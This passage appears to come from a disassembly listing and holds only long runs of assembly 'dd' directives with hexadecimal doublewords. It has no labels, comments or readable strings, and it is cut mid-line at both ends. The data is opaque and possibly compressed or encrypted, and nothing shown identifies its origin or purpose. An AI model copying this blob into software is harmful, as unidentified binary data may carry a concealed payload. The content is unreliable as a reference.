0DD3C40E5h dd 28787714h, 640E4E00h, 9AA95EC3h, 2B6E020Dh, 0D782F6C5h dd 112DCC80h, 0F1D628Bh, 4B091CC1h, 86560057h, 0F0AE1Fh dd 0BAD67022h, 48BEE903h, 498F9E00h, 965E376Dh, 1CCB7632h dd 803EA842h, 4ADA6FA3h, 7A0025E1h, 5E843677h, 7DC10BB2h dd 0CAB0711h, 1B81534h, 0ECBE1793h, 9017F05Fh, 0BCA88042h dd 6EE8A130h, 1D0E683Fh, 80D7DEBCh, 0F41715CEh, 3D530057h dd 0B039ECCDh, 0BF589061h, 0C6DA0093h, 2BA814EEh, 312003FBh dd 0BA1384D2h, 70153EF1h, 0BB00F70Bh, 0A16881EFh, 4CFEB6DDh dd 6860D9F3h, 7657E4D6h, 27C9B900h, 7C8D0136h, 0B5340023h dd 0B33D5C4h, 0AF007464h, 96C31EBCh, 297B83h, 985A99CCh dd 810569B3h, 8AEF181Ch, 57F1A040h, 0BB9F4Ch, 7333E1C6h dd 0CDE82FA5h, 1B3ED600h, 9D67C42Dh, 4FB0065h, 0BBC1BC3Bh dd 0AE76F018h, 0F37C9E00h, 71349D97h, 820138DEh, 596F790Ah dd 0DBF800E7h, 5B609890h, 0D0E63A00h, 0F997625h, 0D15E1E34h dd 954887E7h, 0D63C90A9h, 0FA03103Bh, 0A82EA78Eh, 83CCE087h dd 48F09040h, 0E800B0B2h, 0F2B8BA92h, 2700375Ah, 7654436Dh dd 68FCDDh, 4B21BFF5h, 5C79325Fh, 7CC8AD00h, 6472E4F2h dd 78251CBDh, 18BC023h, 1FE998D1h, 0C6040D00h, 0B89B7ACBh dd 0B08300F0h, 4A5FE566h, 0CF68FA7h, 0CB00997Eh, 9E133045h dd 0F6227EFh, 40F30592h, 0E7508058h, 0BC0086F8h, 3F9FA7BDh dd 0FF03B8h, 0DF320EA8h, 92B9C117h, 58367E02h, 4118FAF5h dd 0A481C3BBh, 2A614AECh, 0D5F0F8E7h, 92398D00h, 0F75B8A5Fh dd 357107D6h, 0D0FED376h, 1079CB7Dh, 0E6AFBD00h, 360F2144h dd 4ABF034Dh, 7FCD0257h, 23F5A2D8h, 0BD004090h, 0C3F465BAh dd 63DA4B0h, 0FF253229h, 0DE0F90C0h, 0C04B016Fh, 1E1B549Bh dd 0B4350194h, 4FBEC9C1h, 83FED407h, 7BEEF100h, 6D8936EAh dd 0FA4C00F2h, 58D11849h, 9C263AA6h, 0F50098EFh, 0A98FAF17h dd 5CA100BEh, 152174FBh, 0B904BB69h, 8D23ED85h, 16A29FC0h dd 0CF4707D4h, 30A30FB5h, 278EA8B1h, 800E5C3Dh, 7041ABEBh dd 0D3A078h, 0A2DDA444h, 380D0834h, 15393D00h, 4BEE2BC3h dd 4D801DAh, 939B9417h, 0A4D4F847h, 0C403A078h, 8E3FF302h dd 11CE8Ah, 42A2E956h, 792401CDh, 8028993Eh, 634FDE0Eh dd 7BB5B0C1h, 0ED8B02Ch, 0EF6A6734h, 80D5C325h, 0B492BF23h dd 0DB101050h, 0F4C0F500h dd 0F6416A6Eh, 0A5820B9Fh, 4C008685h, 2EFC7F9h, 1963172Ch dd 8E56C800h, 0FFB587h, 0EA91A47Ch, 0DBF413D0h, 98A9E900h dd 406BE2ABh, 9A8503BEh, 0ACD4B0C0h, 7E8D5B90h, 1CEA4D3Fh dd 0AA00CA94h, 10CB2D75h, 1FA20038h, 8D6CB74Fh, 9F048BD7h dd 18358513h, 0ED08B0h, 3966653Eh, 296CD9CAh, 33F26900h dd 0AC0805A8h, 800300F1h, 578A5C3Fh, 2B002CB1h, 14302A4Fh dd 0B885C332h, 0DBF0078h, 3903C999h, 0E7005E06h, 10EE6B3Bh dd 67ACEC79h, 330728FBh, 35A0B3FFh, 0AA0023F0h, 5D149030h dd 73EE1217h, 228B050Dh, 0C0C47736h, 48ED35C7h, 0A03EC1EAh dd 828A166Ch, 34AB7F03h, 0DB5CC068h, 3F640AA5h, 1913197h dd 721DDC61h, 0B548D029h, 0AC7A840Bh, 0AFCF85C9h, 70CB4C0h dd 0E91300D5h, 0D12274E2h, 903BF7Ch, 0A2DEB00Ah, 73EFB93Ah dd 16AFFDC0h, 4067A04Fh, 0BB613D28h, 1730F42Fh, 3BA4F8BFh dd 4A150198h, 547F2A2Eh, 34199532h, 5000FE04h, 0E87A64FFh dd 2B0E2DCFh, 80DC0D92h, 533820E4h, 0F986288Fh, 7C4814CCh dd 3F009014h, 1E9A8A64h, 0B21F3B65h, 346B6B35h, 95AF5B62h dd 0ACA1844Ch, 43C80CDh, 0AFEEABBDh, 0D7912F00h, 93B69CFCh dd 28FA7FC0h, 80C620Eh, 0C12E9ADCh, 42705808h, 1880A9C8h dd 9251DA78h, 621A1080h, 6FCB19A0h, 99041881h, 0CA95118Ah dd 96F80C41h, 0E17B3040h, 0C49CA52h, 0B80D8818h, 0C940A4Eh dd 779A9802h, 457C058Eh, 2FDCC48h, 9665F424h, 10CB3F22h dd 9347BA28h, 0ACE56C5h, 860CAC18h, 316BA8E9h, 0BC0CA043h dd 1479530Ah, 0ED0CA750h, 30247E50h, 3C14E042h, 0A42A1802h dd 8468F478h, 48C01854h, 0B3D34504h, 21034231h, 191D2DBBh dd 24623EB7h, 0D80495h, 5C0CDAAEh, 3F58E969h, 0A60800D4h dd 32E1D68Dh, 9831039Eh, 451A542Ah, 2E6987E9h, 48B567F0h dd 22004C56h, 0F5F199A8h, 344DF6B9h, 9A0904C0h, 4907EDBh dd 0C1A0415Ch, 13A805A1h, 96042031h, 7835A307h, 4210CE5Dh dd 1FE8374Dh, 0B0C68AAFh, 17E645A1h, 0CD20EBE6h, 591F0C33h dd 73886D12h, 1D76D14Ch, 0FB008067h, 5E96A40h, 88602FFh dd 930C99B7h, 1C3EF462h, 2790800h, 629C557Ah, 0AAB1C39Fh dd 0A6E059CAh, 4D18A538h, 44508BE3h, 341726FCh, 0E65A00D0h dd 5111932Eh, 0B9255700h, 6AC16519h, 1E27235h, 3789D417h dd 5122C733h, 703813C8h, 9260FEDBh, 7153C250h, 4A560A03h dd 14C696h, 342E7455h, 6450F7F6h, 0EE001034h, 0E07B60AFh dd 0FD0BB98h, 0A98BD474h, 0F900173h, 312DB88Eh, 8C45D41Ch dd 0D3892C00h, 0B060C6D9h, 41960174h, 0FC0F2623h, 25C7707Bh dd 0B81DC530h, 60E7D957h, 99A69846h, 2700EB54h, 679C3210h dd 5CCD8BE5h, 7A0148FAh, 0BB294C0h, 19752096h, 141CCF4Ch dd 3D689E06h, 2C8B02FCh, 0B8D8AE60h, 3DC37B40h, 287B306h dd 0F08E3181h, 6934CC6Eh, 21B2DC01h, 0F11C7F0Ah, 54CBD8F4h dd 0CFD5C094h, 16709310h, 414599Ch, 9DE90C41h, 0EC948809h dd 539F3E60h, 39A03683h, 0AAE006FDh, 0DD3F80E4h, 5B1909A5h dd 0E85C0245h, 6274D062h, 1A1718AAh, 0C9208880h, 6303D3DCh dd 3950C2D8h, 0F1312C42h, 0E8423D0h, 90C27247h, 5848D19Ch dd 1201BF9Eh, 6E52EF19h, 88287F81h, 95F17801h, 342C01FFh dd 0B4487BF0h, 0E0FA81CCh, 50303AB0h, 79FE6DDh, 6B8CDEFEh dd 81305416h, 0E14D9DA0h, 9488518Dh, 5048202Dh, 0BF290503h dd 8261A107h, 2C8480BDh, 8CE6C5h, 935079FFh, 0D8E06A44h dd 90AAE730h, 13246087h, 738E147h, 0B0F20B56h, 637CEEA5h dd 80163C28h, 9DA8C38h, 4024D8E8h, 0F469A648h, 0AEF0123h dd 8AF6C0A1h, 8B16C952h, 20CB4D40h, 539C442Ch, 0D3181D4Ah dd 31B7139Dh, 8035F608h, 0BFC43FE8h, 48727CE1h, 8E00D46Ah dd 0F896E4CCh, 0DB4D5085h, 54200F30h, 9EF90315h, 0E1E814CBh dd 0A501C4C7h, 7B2360ADh, 0E4305D16h, 0AE4722F1h, 10AFB17h dd 0CA9E9B54h, 0F3B08488h, 489126E3h, 87C4E4B1h, 0A0127075h dd 638DD1h, 0FFA661Ch, 0ACE019C3h, 57009C9Ah, 6248535Bh dd 0FCD79474h, 0DCF8484Ch, 20A85AC0h, 16006F28h, 23575F83h dd 4C8C082Bh, 0A4079C6Ch, 5C59E6A3h, 1A00F651h, 22E24847h dd 131B2E01h, 308AD317h, 2F730510h, 3D407600h, 381295C0h dd 0C7FC095Bh, 880190F7h, 0E8B6158Eh, 7E075FFDh, 739F28CDh dd 0C8C9EA9h, 9E3929F9h, 850493F8h, 0F761354Ah, 2000508Ah dd 28CE1DFEh, 911840D1h, 1790BC51h, 3EE305F6h, 899C68h dd 1D167EDCh, 76023DA3h, 5293A2E9h, 0C1EFE243h, 0F2C09D21h dd 0CCC300DCh, 406851E2h, 0EC2C1D6Bh, 9E04825h, 0F8319DC7h dd 98610A10h, 41EC8C0Ch, 89F88143h, 10176031h, 882209A8h dd 1F00C045h, 1194514Ch, 14B228B1h, 0EC24D0DDh, 0B1D1ED39h dd 0D570F800h, 695258E0h, 82608B24h, 409B2E3Fh, 0D4C88C80h dd 0C75835FCh, 7D2000D0h, 0CA1AF20Fh, 643C289Bh, 0F63F0AE4h dd 86A445D8h, 688A62DDh, 2EBCE902h, 48CC724Fh, 88FE6434h dd 932488DBh, 24020BE9h, 4127EFB6h, 49ECF004h, 0A73B0122h dd 47875445h, 1CD874AEh, 0B9043100h, 777885FCh, 604F0749h dd 7AFD146Eh, 8BD98A08h, 2E2F8310h, 63C084D8h, 7D033E7Bh dd 4541120Eh, 0DABFD040h, 78BE0069h, 0A3FA06D7h, 37003864h dd 0EBAC6E54h, 68169Ch, 81AE335Bh, 0A83A56CBh, 0B68960FBh dd 0B178FB65h, 95FE0405h, 51D4C006h, 68FD0319h, 5C405205h dd 0B27A31F0h, 21A1E00h, 7BF597DEh, 0F081C08Fh, 9E6DA427h dd 1AFBD604h, 0E7C7B01Ch, 0C83E9463h, 0FA0E4F65h, 29153BCEh dd 0FB8F800h, 32EAE24Ah, 91E87530h, 8DDA4Dh, 0FACCF559h dd 19311660h, 0A402047Bh, 0E39F5512h, 0BC908083h, 75B9EB5h dd 974D4952h, 298D50B4h, 3A00FAD5h, 6EF57627h, 0B08CB178h dd 66EA1FC1h, 0EFAC0049h, 0D064866Ch, 0E22CBC00h, 5BC7156Fh dd 11B76290h, 9676EC59h, 92F1BD00h, 0FE47CDB2h, 407B82h dd 54B8790Fh, 71A6410Eh, 9B0C4574h, 0F60C2E4Eh, 6B1F0F85h dd 75008287h, 7E140F66h, 49436502h, 0E00BFE7Bh, 6989B2h dd 0C6488277h, 0C83E03ADh, 0BF962600h, 4CCDE3D5h, 0E77981h dd 31FB393h, 2B1D59A7h, 460E4D00h, 43DF9C84h, 12F094h dd 0B86CF9A0h, 173295BBh, 0BD229907h, 2C30CBBCh, 7D5B3h dd 8844BEF8h, 0EFE9814Dh, 0EDA5430Ch, 71F119Ch, 0A6727148h dd 903B205Bh, 0E407894Eh, 4D4050EDh, 96AB6590h, 38171D56h dd 0C51440A1h, 42F7222Ch, 0D74F80A0h, 0E16FEA00h, 0C89C169Eh dd 76700EFh, 4A12F856h, 3D0024AFh, 0CF60AC5Bh, 0A10C05A5h dd 0CB3F84h, 3E364F30h, 510E4A04h, 68B60917h, 174900EAh dd 0E466D859h, 415D7531h, 1B0004D2h, 0D518C26Fh, 9A79DC14h dd 694A4F4h, 0CEA071FFh, 870260F3h, 3086C8FBh, 0A15DE048h dd 0C26818BAh, 1D3C81AAh, 52890F07h, 10B0C359h, 1642A92h dd 0E06640C0h, 0D4A6F728h, 25005D65h, 1EED9EE7h, 59E39Bh dd 0F6BCB169h, 0D864284Fh, 7A34D301h, 0C6C4EF5Ch, 0D9D5C0h dd 0F79A5E20h, 5FE07110h, 0EC404D1Eh, 0EB2D8441h, 3CC91835h dd 80480880h, 4EC772DEh, 7AFC3B07h, 0C8F07CE7h, 0E6708E07h dd 0B2EC004Bh, 1A37F4D5h, 0C7030C4Fh, 9E51836Fh, 968380h dd 36DCBE68h, 0ABEC5618h, 0F274CB10h, 9A3A6800h, 0D71F2722h dd 70825F0Eh, 0B7D380D6h dd 2E1830h, 5D97B56Bh, 0BC577DCFh, 0E947B901h, 0C43A5C88h dd 9AEBFA40h, 0EC36077Ah, 415D7255h, 803D26A5h, 0F0461711h dd 7799BCDh, 8C5492BEh, 0FCB343B6h, 0D1372003h, 900C0D2Ch dd 4B404FCFh, 109E8F2h, 1979851Fh, 5CD97A82h, 91FBF0h dd 0CF09F867h, 875FFF6h, 7032F900h, 0E938D5ADh, 30F074BDh dd 9520B81Eh, 0B01EFA6Eh, 0C03051Fh, 0C0F1A27Fh, 60A56051h dd 0C889B8FBh, 90307059h, 5F3A90FAh, 6C17BACh, 2AFB468Ch dd 650018FEh, 0EFF4D6B7h, 253BD7h, 0F788F1AAh, 83996375h dd 0E25CC201h, 1455D305h, 0F2F5D8h, 20891DAFh, 282E498Dh dd 0A739F803h, 8F683AE1h, 7796FF71h, 6D1BD8h, 0CD869D37h dd 19EF535h, 63B28900h, 0C3B8FF85h, 0C8EE007Ch, 41D97BEDh dd 0E300BF35h, 8B1337E9h, 333CC6h, 0A93D0965h, 0B42FC951h dd 7F798C00h, 0A073B266h, 3F270098h, 1DF77B8Fh, 8EB03A07h dd 82002B76h, 46BD63A7h, 0A23F7Ch, 3034F1CAh, 162CFCDEh dd 5DCF2800h, 6E9D2329h, 339A01E0h, 34B9880Ah, 8021BAE9h dd 0CDDF22FEh, 0A09CC7h, 84935D64h, 0F44B1CA5h, 5801DC30h dd 0CB79E9h, 4208E39h, 0AB1619B7h, 45D38C0Ch, 18F321C5h dd 581C9648h, 512C1B3Dh, 0C02428E4h, 42FF6103h, 991CC02Bh dd 418700BEh, 254FF22Ch, 3D00D19Eh, 7A702A4Eh, 0C137B75h dd 0F24DACD8h, 8121F0D0h, 22F3051Eh, 358E80D3h, 0D1C40B48h dd 0D4141AA5h, 0F1F02201h, 81D0D975h, 0CD0C1988h, 9051C41Fh dd 38F41412h, 0FDF0C8h, 0B944B65Dh, 42DD69A2h, 0C11C5C0Eh dd 933C409Ch, 73465F7h, 47139557h, 14A02F11h, 0B3D5CCDh dd 0BC630400h, 0DFF3F28Dh, 61810010h, 4C891517h, 0CA1E7DE4h dd 6A409CA9h, 0FB2DB9ABh, 0D4FD016Ch, 7D3CB645h, 4FEFCC92h dd 1F432B07h, 7EC04CF9h, 194B4Eh, 50FDD8B5h, 1B5D5AE3h dd 3DFCC403h, 937F394Dh, 0EDDB087h, 306B0019h, 7D378B59h dd 0B80043FEh, 0EE934B4Fh, 81C1E8h, 836C57B3h, 0BFC295Ah dd 69F8D805h, 4C009716h, 2663B00Eh, 3660798h, 431824h dd 0A75DCD8Fh, 3A07737Dh, 0F1721687h, 0DBAF5880h, 4FED00FFh dd 5AE159CDh, 9D005FBEh, 0F98757D5h, 79420384h, 6C140109h dd 4C1D9B93h, 268EC0D4h, 6A20D4A0h, 19CB73Bh, 88297D11h dd 1880217Fh, 7CA03724h, 0C17BDBCDh, 77F35Ch, 79411FBEh dd 0E0151160h, 2A0D606Dh, 0BB62AE7Ch, 0FBA0691Ch, 20D8BFC9h dd 296E3504h, 460D120h, 52F468B0h, 0CE839h, 0EF2D132Fh dd 0C01B018Eh, 0ED9D1190h, 0F8007142h, 0E5053D32h, 16040897h dd 0F069560Ah, 0F47442C8h, 82B8AB00h, 0A8DD77FAh, 69CA1CCDh dd 139A077Eh, 4BE1901Bh, 2B67ED9Ch, 0F2B06A58h, 0E6B4C70h dd 770A1926h, 843484h, 0EFD52D88h, 70A80320h, 732FFC40h dd 80710C89h, 0A11DB1B8h, 2DD721h, 0C38CEC10h, 65A4FBC7h dd 27E320C0h, 77214Dh, 523E8004h, 584AFC9Fh, 2D282400h dd 5CB54669h, 0FAA41F11h, 0B8DC54AEh, 0C449D600h, 50167E53h dd 2FD1AC15h, 86ED0094h, 7D3DC341h, 0C848C048h, 911095CFh dd 40A8B54Eh, 0E15F01Dh, 21E02C8Fh, 0F95FB85h, 609AF03h dd 0A89B42F5h, 28822F0Ch, 90C2CAh, 3558C571h, 45E4E204h dd 6B015706h, 1A86836h, 4A42B740h, 60D720B5h, 4F3037F2h dd 232881A8h, 59430053h, 0F47A62F7h, 16063E8Bh, 0EDE4076h dd 0F1440FD6h, 800069B8h, 522B9933h, 6FB5C200h, 1239C10Bh dd 0FC233650h, 0A52A3870h, 3D02703Ah, 65931D53h, 13BD18D1h dd 7C7D1000h, 0EE5795F8h, 0E955503Dh, 0F4C90931h, 68205D20h dd 0D481F929h, 0B81A0701h, 4DAF418Eh, 92F33050h, 95930217h dd 0EBD82FCFh, 0A040EE05h, 52928BB1h, 0CD4B3FA1h, 5DA426h dd 4742F1D3h, 83246830h, 1640080Bh, 10E950A1h, 84FBC865h dd 648719EAh, 6A326920h, 0FA1200E3h, 0ED49D1EFh, 0AE039CDDh dd 35E184D6h, 1D98D6A8h, 454CE48h, 80F10F78h, 0F336CCC0h dd 0DC0468F4h, 5940791Bh, 497E91D0h, 0A375000Fh, 9FB8474Bh dd 0F801A499h, 0E3480D4Dh, 0D94161F9h, 27E47E14h, 43450ADDh dd 3E0697Fh, 4DA9B020h, 0DF1C188h, 0A43DE238h, 0F40CE5CBh dd 2660B5h, 0D08ED6E7h, 470CED6Eh, 0F5FC1571h, 9D313601h dd 7DD87BA4h, 0DEBDB840h, 8F6C0E88h, 0B1470F6Ah, 9BF410EFh dd 0CD782DB5h, 3665951Fh, 0DD2E4C80h, 2D61597h, 0AD54BEC1h dd 3C4437DFh, 91412324h, 0A5487338h, 0CC5A8A3Ch, 99072800h dd 7EEB2966h, 0C0D0000Ah, 914DAA0h, 0C8FAA230h, 24DF453Dh dd 105C2841h, 80111BB6h, 0E810232Eh, 1D3D0E5Eh, 3FA082DBh dd 7CAC90DDh, 0A5A23300h, 0EF046222h, 0FE5404B2h, 0CC446DE7h dd 0BEE24258h, 3C7AFA10h, 0C3F45BC4h, 3BF8569Ch, 46069A85h dd 0EAAB05E1h, 59BB0038h, 5702C7E9h, 40954CBh, 8FF4C25Ch dd 2018AFB8h, 5EE77C38h, 19498EFh, 51B6F71Ch, 60CCC39Ch dd 570ED8DDh, 65A681F5h, 0E041F1BFh, 74BE3323h, 0F253F7E0h dd 0E12B3FFAh, 699747BEh, 150009D0h, 4F52A80Eh, 644328C4h dd 48F830A0h, 0E900DD61h, 3840C177h, 17AF3Ah, 79D965AAh dd 0F2A094D3h, 380CFF30h, 0ACD469C2h, 449604E4h, 84F2E13Dh dd 32E42364h, 43E02100h, 0AA406E66h, 0D3A11FACh, 2012C019h dd 9DF07683h, 0BB66D800h, 0E825C1C3h, 146F618h, 9168AE61h dd 2644418Fh, 30EE24E8h, 0C06DAF02h, 886583h, 3EBF259Eh dd 0BA00B36Fh, 0B1738C04h, 24B91945h, 887C3FE3h, 4C00C255h dd 0E7992E5Dh, 71820F7Fh, 14C35A13h, 51C87DEDh, 28D3C332h dd 59730200h, 15AF730h, 3BFD4440h, 70EDE999h, 3600DED2h dd 69B0A8C6h, 3CF4BBC3h, 763D8AA6h, 87B9600h, 0BEBCA7A2h dd 0BD721900h, 0C7A56AE8h, 0ACB80048h, 21A0BBB4h, 3400C995h dd 58C025E9h, 805AB2h, 3AC7AED3h, 4B376C5Eh, 0B1004C7Dh dd 6613A7F3h, 0E2B62Ah, 0C23DA918h, 65F04E08h, 0CE5C7824h dd 5A115E07h, 0ED57B760h, 29A80EC5h, 56808536h, 1D781541h dd 0D155DA00h, 0D222D067h, 3086A0BEh, 1A183EF0h, 6378A40Eh dd 0D0A5B046h, 11F9562Ch, 0B2F32600h, 46FDE1h, 1DF02B5Dh dd 560876FFh, 57AC5500h, 0FAC7AAF6h, 2BF5003Fh, 7D84B8B4h dd 0BA90D970h, 0AF683500h, 0A15186EEh, 0A6FD00D1h, 0C81A9AAAh dd 2BE4B91Fh, 288E8003h, 0EECB26h, 3F207120h, 0BCABB425h dd 97D8CF00h, 0AEC3825Eh, 1F4F05AFh, 3330D6h, 485486C4h dd 0F0DF165h, 28E03261h, 7DA692F0h, 0AD20004Bh, 0F7092CD3h dd 4A00B5B2h, 60088AA7h, 65F1DB9h, 35654976h, 1100089Ch dd 688A9D64h, 184C2E3h, 2CCA524Ch, 0C4355046h, 0CD48A33Ah dd 90FB007Dh, 0A6FAC444h, 9936020Ah, 936529B0h, 740B0848h dd 0E2374C00h, 792C694Eh, 0ED36307Ch, 4AF8B7E0h, 0A8B6B230h dd 0C0EB5F80h, 0F4889798h, 0AB0AA301h, 0BCB3263Eh, 683A1A0Dh dd 1C8196F8h, 80FB8729h, 0A97B5446h, 5D05A756h, 0AB9FB32Fh dd 2500C412h, 4FDC0804h, 9FAA6h, 44D24A14h, 0FB3FE665h dd 83F1AA02h, 876FF966h, 0A22E52BCh, 62B514B9h, 86C97F6h dd 0CA6069B7h, 3981A371h, 8C007947h, 0CBC54B23h, 4C042B49h dd 527CED28h, 0BF4008Ch, 0E34B461Dh, 4600B80Ah, 0EF48219Ch dd 2ED80327h, 0CE3BD754h, 305500D8h, 1379B028h, 860003B4h dd 2B913646h, 6BA68CCh, 0FAEA2C2Eh, 6700304Dh, 87A778E8h dd 0FF8CA03h, 0D4567C1Eh dd 23FE4A60h, 140024B0h, 2AD066F4h, 1F6240D6h, 0E0BABA4h dd 36C171h, 0D9B079BAh, 273F64D8h, 131C922Ch, 0EAA78830h dd 0CF1D02F6h, 5A0C5768h, 807DEF02h, 2C62F2CCh, 0AADC009Ch dd 110F01DDh, 0F600663Dh, 9581429Fh, 18704D7Dh, 0F8EBEFAFh dd 5491FE8Ah, 42478F78h, 304200A7h, 0A62A4D22h, 0CB9F01C6h dd 0E22EB6A8h, 24C1215Ah, 821C1704h, 93C51AACh, 9FC7D2D6h dd 591218C0h, 620D0EF0h, 5A89FF90h, 13FED800h, 6090A1FAh dd 3751BB00h, 0D5AA9961h, 84161F17h, 1F600D3h, 83BDB72Dh dd 26CA9C00h, 0CE4B597Eh, 4EE51E52h, 5E43001Fh, 0C53F7703h dd 2EDCF70Bh, 0F3F1863Ah, 14EB00F0h, 0E163672Dh, 0A20F5AA9h dd 601A6B34h, 0C7804801h, 0B3EF00FDh, 0D3454341h, 8C5C0515h dd 8DEC0755h, 6921B4D7h, 5823B8FCh, 9B4B726h, 583121D8h dd 429711B5h, 0D2C40BD1h, 0D18801F2h, 0C2B8988Eh, 499C4007h dd 42612C83h, 26657FA8h, 36A9B440h, 0A7E74D5h, 7220DB82h dd 0C1BB0080h, 0AB8E61B9h, 73DCC901h, 0BE3A029Ch, 0A8A78020h dd 86DDFDE8h, 8B2FF601h, 569E066Eh, 5F4CD808h, 5A383Ch dd 0ED520C3h, 305C2Fh, 0C5B11295h, 7B9E5B38h, 94C3CA00h dd 7D68F518h, 0A03A1230h, 0AB4816DEh, 0E2019D00h, 24656417h dd 229C9697h, 0A0A7FA8Ch, 0A5C6A504h, 41C520Ch, 0BD6A1880h dd 0D2C53700h, 53959DEFh, 5D0C1666h, 7F03EA6Ch, 89A2F93h dd 5CE92A18h, 4287EC88h, 4410DA1Eh, 0BEF4205Fh, 8A17621h dd 7A426A71h, 909810CEh, 527224A1h, 24A2340Ch, 0B10ADC6h dd 7E18A0E7h, 0C62884AAh, 0C2540C8Dh, 8C31BD18h, 0E8564902h dd 0D4316808h, 0D05AF1DDh, 8AAF0C43h, 618E26EFh, 1ABB5500h dd 1FDEC65h, 0CEC50BBEh, 4D845999h, 0C070877Ah, 5EAA63A8h dd 7F6E0C17h, 0ECE91E1Dh, 0F3423703h, 73DD8009h, 0DC391380h dd 95984040h, 213E8C5h, 0D9319863h, 0F1908959h, 4EE7E0h dd 78F44137h, 24D3DB94h, 98007672h, 0F261854Dh, 628CAA6Ch dd 0B8647E82h, 801CAC60h, 0F1073300h, 0CB945A3Ah, 1528FEB3h dd 4C6A58CCh, 35EA167Eh, 0BA5C1E3Eh, 30317380h, 49D32E4Eh dd 83DC30F9h, 6EFB8000h, 64A4EADCh, 774A0195h, 0A0D86919h dd 235860D5h, 1A2C417Dh, 8500FC56h, 0DCC6F196h, 9AD33AB4h dd 0BC1C4229h, 0E0499710h, 0F0D0C3h, 1F4D7B84h, 0DF7894AEh dd 0E08F9D01h, 256D938h, 1E18C05Eh, 0E17E6817h, 10D10C00h dd 47EBF7FAh, 623800BEh, 0CA33DCD9h, 4C00A9DDh, 9829FD19h dd 287DCFh, 0FE25021h, 0AD9C07A2h, 0DAD35501h, 3B18C7A4h dd 0E0283F4h, 6FAF1C0h, 33DD40E0h, 0FD009D1Ah, 0EE0FF7CFh dd 24B88EFh, 1120DF7Dh, 0DCE0FC38h, 9F00E2B8h, 0D6F358C2h dd 19871Ah, 5F5EB230h, 0D3A96EADh, 2663983Dh, 993FE6B1h dd 0B42988CBh, 9821E1D0h, 0D14100A8h, 0F5EB505Bh, 7F29B06Eh dd 32705853h, 305D2177h, 523BF4F8h, 9A834C60h, 6BC82953h dd 1500FE20h, 0AA372448h, 3A0325h, 6D9AD955h, 7CCCC7FCh dd 1A70D7E8h, 8708FA60h, 32D3912h, 47E78699h, 301D5773h dd 68837D38h, 3D4A6977h, 2B804318h, 61A95AABh, 7A03FA5Eh dd 3672676Eh, 776BC85Fh, 0A00500A3h, 3A82DE19h, 0E57E1848h dd 696C91B0h, 3DD57058h, 0F900658Fh, 25504441h, 2713D495h dd 0EA004717h, 87DF5957h, 0EA620089h, 9DD6198Dh, 0B0C0FEF0h dd 0B9E4A78Eh, 0E87900D9h, 0E2577480h, 0FB0017FFh, 6B2C02ADh dd 0A5F6F8C4h, 984C73ACh, 0E98A009Eh, 73223CBCh, 52E7E47h dd 816785F7h, 61F10083h, 76EE211Eh, 41D9DC00h, 16E98DD0h dd 7CF82B38h, 489EF144h, 0E23FBFCCh, 4175009Dh, 2A384058h dd 3493B3h, 0B02DD01Eh, 5B00AD2Ch, 0FB41478Ch, 95CD5Eh dd 13297BE5h, 0B1ED832Dh, 30D14A01h, 0D55947E9h, 49E970h dd 0A765504Bh, 0BE7D85BAh, 0A6E0DC91h, 80671Eh, 271F6B72h dd 0AA982C1Ch, 2E521015h, 1D02D684h, 8B386A43h, 0D800DFA8h dd 107B0E5Dh, 0BA3A0A00h, 0AD288EAAh, 841B0F48h, 818042F5h dd 0D4768CAh, 697FB900h, 76966D0Eh, 249263h, 0C0906FABh dd 44540D8Eh, 9D002A74h, 2E6C4B9Ch, 0A8E013C9h, 0A1EDD0h dd 753A45FAh, 423DBEA6h, 0AE643248h, 60164213h, 50D32B08h dd 4898987Ch, 28584726h, 0A1D53700h, 4F4BE51h, 3CD09063h dd 0E00C8A35h, 0E67FB54h, 39A67275h, 0C8D40702h, 0AD100440h dd 32560600h, 0D1C93058h, 2CEF2998h, 0BC0054FCh, 74D4884Bh dd 0EE189590h, 0CFF4A8DBh, 0F92E0A61h, 7880D6B1h, 38C5C088h dd 442B1EF7h, 79C2CA18h, 1C18AC20h, 73E08BA6h, 0C46752A4h dd 69D8E626h, 9A8FBD00h, 33007BD1h, 575B1F90h, 60A3CCB7h dd 0A9D611E4h, 636F46D1h, 2F90040h, 0CE623DCEh, 0E0046E11h dd 8094D70Ch, 0C7DFF666h, 10405D61h, 78808716h, 837E452Ah dd 0FE0C673Bh, 0F03940EFh, 0E240904Bh, 80F020B8h, 1330E048h dd 70402F52h, 35189998h, 0FFBB03Fh, 0A914EA03h, 254837ECh dd 29C8E52h, 40DF8132h, 64A7h, 2D075FE9h, 856F1F0Bh, 12A9A201h dd 0DF6578C4h, 60049A8h, 0BA50CD28h, 6600E941h, 0EC99F391h dd 18C5E1BBh, 5E67B162h, 1E006E54h, 0CCF93C2Ah, 72887CCFh dd 1064E18Eh, 90D849A0h, 81F14280h, 57001988h, 55C535BEh dd 625B44h, 8D38C385h, 0AB70A6C8h, 47F46E0Ch, 132F8054h dd 984D650h, 0C86EAD8h, 0B1003164h, 5196AE09h, 3CBAE2h dd 0E62603E0h, 9734FF49h, 1F954300h, 37750966h, 0D8620004h dd 1459A736h, 0C4789CC1h, 3E262910h, 0D415FDF0h, 4E6C5D07h dd 0E9B27CC2h, 10A5E38Eh, 0F0956638h, 30CC15F5h, 0DC98679Fh dd 25181631h, 0A6A0DD66h, 68818732h, 0E7F918ADh, 59BC3880h dd 0DB238ED4h, 737B6CA8h, 95855600h, 29E543CEh, 0D71100FBh dd 9247F55Ch, 490AFA9Eh, 10CCE689h, 17F6B605h, 9E8FA9C0h dd 0BB8015Ah, 44300CF3h, 0AF62D0EEh, 2C7A57h, 805D35ABh dd 1C9F47CFh, 8A8C7D3Ah, 581857CEh, 0FD18B5B4h, 9A68A2B6h dd 0F2D607C7h, 47FF266Ch, 39B5044Ch, 0B8572D41h, 4B7A398Ah dd 0ED066060h, 0AF403D2Dh, 0AFF70DAh, 0B41A8CF3h, 0E2D95028h dd 15C11F01h, 2DBACA16h, 0DF493182h, 609CCD37h, 2203C400h dd 0CA40F36Fh, 0B3EC1C1Ah, 4832D4F1h, 90C9E3C7h, 0CA3F2FE1h dd 0D98EFA0Ah, 25D8A4F2h, 0F1B718D3h, 0FC5A301Ah, 0B58890D1h dd 196B6603h, 3ACA90BEh, 0BC9B504Bh, 2EC0A028h, 0F3051414h dd 0A9E064CCh, 0D820ED89h, 0A19A00F2h, 6B16AE6Fh, 54A7F30Dh dd 67452380h, 83E623Ah, 0BCF7ACAh, 501DD0F0h, 0DA6C50h dd 0B6AF60D2h, 0F614C992h, 0D65E053Dh, 4587C0D4h, 401DC7B6h dd 9AFA983Fh, 74D2363Eh, 83B1630h, 7CA6ECF6h, 619C1419h dd 17F07CDAh, 7D52BCE0h, 697403E0h, 